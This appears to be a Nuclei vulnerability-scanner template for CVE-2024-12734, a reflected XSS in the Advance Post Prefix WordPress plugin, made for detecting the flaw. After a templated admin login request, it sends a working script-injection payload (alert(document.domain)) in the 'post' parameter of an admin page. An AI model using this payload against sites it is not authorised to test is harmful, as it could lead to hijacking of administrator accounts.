Advance Post Prefix WordPress plugin - Reflected XSS

id: CVE-2024-12734

info:
  name: Advance Post Prefix WordPress plugin - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    Advance Post Prefix WordPress plugin through 1.1.1 contains a reflected cross-site scripting caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
  impact: |
    Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.
  remediation: |
    Update to the latest version of Advance Post Prefix WordPress plugin.
  reference:
    - https://wpscan.com/vulnerability/038b44dc-0495-4f56-ae7e-c78a265aa535/
    - https://nvd.nist.gov/vuln/detail/cve-2024-12734
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-12734
    cwe-id: CWE-79
    epss-score: 0.00199
    epss-percentile: 0.41725
    cpe: cpe:2.3:a:niceit:advance_post_prefix:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: niceit
    product: advance_post_prefix
  tags: cve,cve2024,niceit,advance-post-prefix,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=add-prefix&post="></script><script>alert(document.domain)</script><script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>`","advance-post-prefix")
        condition: and
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